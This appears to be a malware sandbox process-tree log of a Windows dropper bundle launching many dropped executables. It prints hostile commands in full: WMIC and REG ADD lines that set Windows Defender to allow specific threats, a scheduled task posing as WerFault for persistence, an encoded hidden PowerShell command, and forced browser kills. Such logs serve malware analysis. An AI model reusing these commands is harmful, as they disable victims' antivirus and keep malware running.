C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\kZ_AmsXL.6G
15⤵
PID:9724

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\kZ_AmsXL.6G
16⤵
PID:9828

C:\Windows\SysWOW64\taskkill.exe
taskkill -f /Im "sfx_123_206.exe"
10⤵
- Kills process with taskkill
PID:7008

C:\Users\Admin\AppData\Local\Temp\6.exe
"C:\Users\Admin\AppData\Local\Temp\6.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5168

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 5168 -s 1544
8⤵
- Program crash
PID:1136

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
7⤵
- Executes dropped EXE
PID:5376

C:\Users\Admin\AppData\Local\Temp\is-IVRIS.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IVRIS.tmp\setup_2.tmp" /SL5="$202D8,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
8⤵
PID:5604

C:\Users\Admin\AppData\Local\Temp\setup_2.exe
"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
9⤵
PID:4232

C:\Users\Admin\AppData\Local\Temp\is-S886E.tmp\setup_2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-S886E.tmp\setup_2.tmp" /SL5="$30374,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
10⤵
PID:5540

C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe
"C:\Users\Admin\AppData\Local\Temp\LivelyScreenRecorderF20.exe"
7⤵
- Executes dropped EXE
PID:5260

C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
"C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe"
8⤵
PID:6828

C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
9⤵
PID:5992

C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
9⤵
PID:1016

C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
9⤵
PID:7432

C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
C:\Users\Admin\AppData\Local\Temp\tmp8500_tmp.exe
9⤵
PID:7876

C:\Users\Admin\AppData\Local\Temp\udptest.exe
"C:\Users\Admin\AppData\Local\Temp\udptest.exe"
7⤵
- Executes dropped EXE
PID:4200

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
7⤵
- Executes dropped EXE
PID:4376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
8⤵
PID:7104

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "setup.exe" /f
9⤵
- Kills process with taskkill
PID:7852

C:\Users\Admin\AppData\Local\Temp\tingwang-game.exe
"C:\Users\Admin\AppData\Local\Temp\tingwang-game.exe"
7⤵
PID:5492

C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4708

C:\ProgramData\7184669.exe
"C:\ProgramData\7184669.exe"
8⤵
PID:6076

C:\ProgramData\5233943.exe
"C:\ProgramData\5233943.exe"
8⤵
PID:6124

C:\ProgramData\526976.exe
"C:\ProgramData\526976.exe"
8⤵
PID:5584

C:\ProgramData\993487.exe
"C:\ProgramData\993487.exe"
8⤵
PID:5840

C:\ProgramData\993487.exe
"C:\ProgramData\993487.exe"
9⤵
PID:4468

C:\ProgramData\993487.exe
"C:\ProgramData\993487.exe"
9⤵
PID:6480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5840 -s 960
9⤵
- Program crash
PID:6452

C:\ProgramData\5312637.exe
"C:\ProgramData\5312637.exe"
8⤵
PID:4764

C:\ProgramData\7234673.exe
"C:\ProgramData\7234673.exe"
8⤵
PID:6048

C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
7⤵
PID:5624

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15c8bd2ae6f94f.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:2392

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15c8bd2ae6f94f.exe
Fri15c8bd2ae6f94f.exe
5⤵
- Executes dropped EXE
PID:3876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15c47a7c807b12d1.exe
4⤵
PID:2292

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15c47a7c807b12d1.exe
Fri15c47a7c807b12d1.exe
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:756

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15c47a7c807b12d1.exe
C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15c47a7c807b12d1.exe
6⤵
- Executes dropped EXE
PID:4644

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1586c2482e5c8a45.exe
4⤵
PID:2056

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri1586c2482e5c8a45.exe
Fri1586c2482e5c8a45.exe
5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2792

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1520f78358.exe
4⤵
PID:1928

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri1520f78358.exe
Fri1520f78358.exe
5⤵
- Executes dropped EXE
PID:2700

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri157e966e73fe.exe
4⤵
PID:3872

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri157e966e73fe.exe
Fri157e966e73fe.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4164

C:\Users\Admin\AppData\Roaming\6502711.scr
"C:\Users\Admin\AppData\Roaming\6502711.scr" /S
6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Admin\AppData\Roaming\7174564.scr
"C:\Users\Admin\AppData\Roaming\7174564.scr" /S
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5052

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
7⤵
- Executes dropped EXE
PID:4920

C:\Users\Admin\AppData\Roaming\7262137.scr
"C:\Users\Admin\AppData\Roaming\7262137.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3580

C:\Users\Admin\AppData\Roaming\5761817.scr
"C:\Users\Admin\AppData\Roaming\5761817.scr" /S
6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5012

C:\Users\Admin\AppData\Roaming\3258508.scr
"C:\Users\Admin\AppData\Roaming\3258508.scr" /S
6⤵
- Executes dropped EXE
PID:5128

C:\Users\Admin\AppData\Roaming\5404264.scr
"C:\Users\Admin\AppData\Roaming\5404264.scr" /S
6⤵
- Executes dropped EXE
PID:5116

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri15517df7a88264b6.exe
4⤵
PID:2752

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri15517df7a88264b6.exe
Fri15517df7a88264b6.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3012

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
6⤵
PID:6236

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
7⤵
- Kills process with taskkill
PID:7412

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1574d7b3751ed.exe /mixone
4⤵
PID:2936

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri159afce91b41.exe
4⤵
PID:2236

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri1503acc0996b574.exe
4⤵
PID:3932

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri159afce91b41.exe
Fri159afce91b41.exe
1⤵
- Executes dropped EXE
PID:4288

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri1574d7b3751ed.exe
Fri1574d7b3751ed.exe /mixone
1⤵
- Executes dropped EXE
PID:4388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 656
2⤵
- Program crash
PID:5076

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 672
2⤵
- Program crash
PID:5576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 632
2⤵
- Program crash
PID:4564

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 696
2⤵
- Program crash
PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 884
2⤵
- Program crash
PID:6996

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 928
2⤵
- Program crash
PID:7380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 1108
2⤵
- Program crash
PID:7864

C:\Users\Admin\AppData\Local\Temp\is-02FI7.tmp\Fri1503acc0996b574.tmp
"C:\Users\Admin\AppData\Local\Temp\is-02FI7.tmp\Fri1503acc0996b574.tmp" /SL5="$6004E,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri1503acc0996b574.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks whether UAC is enabled
PID:4360

C:\Users\Admin\AppData\Local\Temp\is-53FJS.tmp\EtalevzaJet.exe
"C:\Users\Admin\AppData\Local\Temp\is-53FJS.tmp\EtalevzaJet.exe" /S /UID=burnerch2
2⤵
- Executes dropped EXE
PID:3264

C:\Program Files\Windows Sidebar\GFLYNHPTXF\ultramediaburner.exe
"C:\Program Files\Windows Sidebar\GFLYNHPTXF\ultramediaburner.exe" /VERYSILENT
3⤵
PID:6472

C:\Users\Admin\AppData\Local\Temp\is-2UQIB.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2UQIB.tmp\ultramediaburner.tmp" /SL5="$10420,281924,62464,C:\Program Files\Windows Sidebar\GFLYNHPTXF\ultramediaburner.exe" /VERYSILENT
4⤵
PID:6808

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
5⤵
PID:5300

C:\Users\Admin\AppData\Local\Temp\ca-14213-974-d23ac-43b8883879da4\Canafaeruwy.exe
"C:\Users\Admin\AppData\Local\Temp\ca-14213-974-d23ac-43b8883879da4\Canafaeruwy.exe"
3⤵
PID:6748

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 2360
4⤵
PID:4812

C:\Users\Admin\AppData\Local\Temp\51-7a955-b4a-63a80-e7d1ffb93966c\Kilesybexe.exe
"C:\Users\Admin\AppData\Local\Temp\51-7a955-b4a-63a80-e7d1ffb93966c\Kilesybexe.exe"
3⤵
PID:6908

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ol3phzfi.nzy\GcleanerEU.exe /eufive & exit
4⤵
PID:8812

C:\Users\Admin\AppData\Local\Temp\ol3phzfi.nzy\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\ol3phzfi.nzy\GcleanerEU.exe /eufive
5⤵
PID:2848

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4rszxtt0.yum\installer.exe /qn CAMPAIGN="654" & exit
4⤵
PID:8988

C:\Users\Admin\AppData\Local\Temp\4rszxtt0.yum\installer.exe
C:\Users\Admin\AppData\Local\Temp\4rszxtt0.yum\installer.exe /qn CAMPAIGN="654"
5⤵
PID:8640

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\4rszxtt0.yum\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\4rszxtt0.yum\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1632504545 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
6⤵
PID:2260

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bfryv115.qxx\anyname.exe & exit
4⤵
PID:9208

C:\Users\Admin\AppData\Local\Temp\bfryv115.qxx\anyname.exe
C:\Users\Admin\AppData\Local\Temp\bfryv115.qxx\anyname.exe
5⤵
PID:8904

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tj1axhwu.03a\gcleaner.exe /mixfive & exit
4⤵
PID:5860

C:\Users\Admin\AppData\Local\Temp\tj1axhwu.03a\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\tj1axhwu.03a\gcleaner.exe /mixfive
5⤵
PID:2192

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vf5b0ijx.weh\autosubplayer.exe /S & exit
4⤵
PID:8320

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri1503acc0996b574.exe
Fri1503acc0996b574.exe
1⤵
- Executes dropped EXE
PID:4156

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5976

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:6060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:4960

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8272

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:8320

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:6180

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:8300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:9256

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:10848

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8932

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8156

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5220

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 3C1BA09D28930A7176F51C336D8F82A2 C
2⤵
PID:7708

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 8425BF2AFBB9E9F1892F02EA343EA757
2⤵
PID:8800

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:9652

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6264

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WerFault" /sc ONLOGON /tr "'C:\odt\WerFault.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:10792

C:\Users\Admin\AppData\Local\Temp\66B.exe
C:\Users\Admin\AppData\Local\Temp\66B.exe
1⤵
PID:6772

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5484

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\JEfvGBfPCumMMfM\dnDmkfY.exe
C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\JEfvGBfPCumMMfM\dnDmkfY.exe 9Y /site_id 394347 /S
1⤵
PID:11020

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
2⤵
PID:4104

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:5544

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:7744

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:3544

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:9204

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
3⤵
PID:2272

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
4⤵
PID:4136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
5⤵
PID:9248

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
6⤵
PID:9992

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
PID:11016

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
PID:10764

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:9604

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:6236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:8436

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:4768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:9776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:8668

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:10964

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:516

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:9528

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:10752

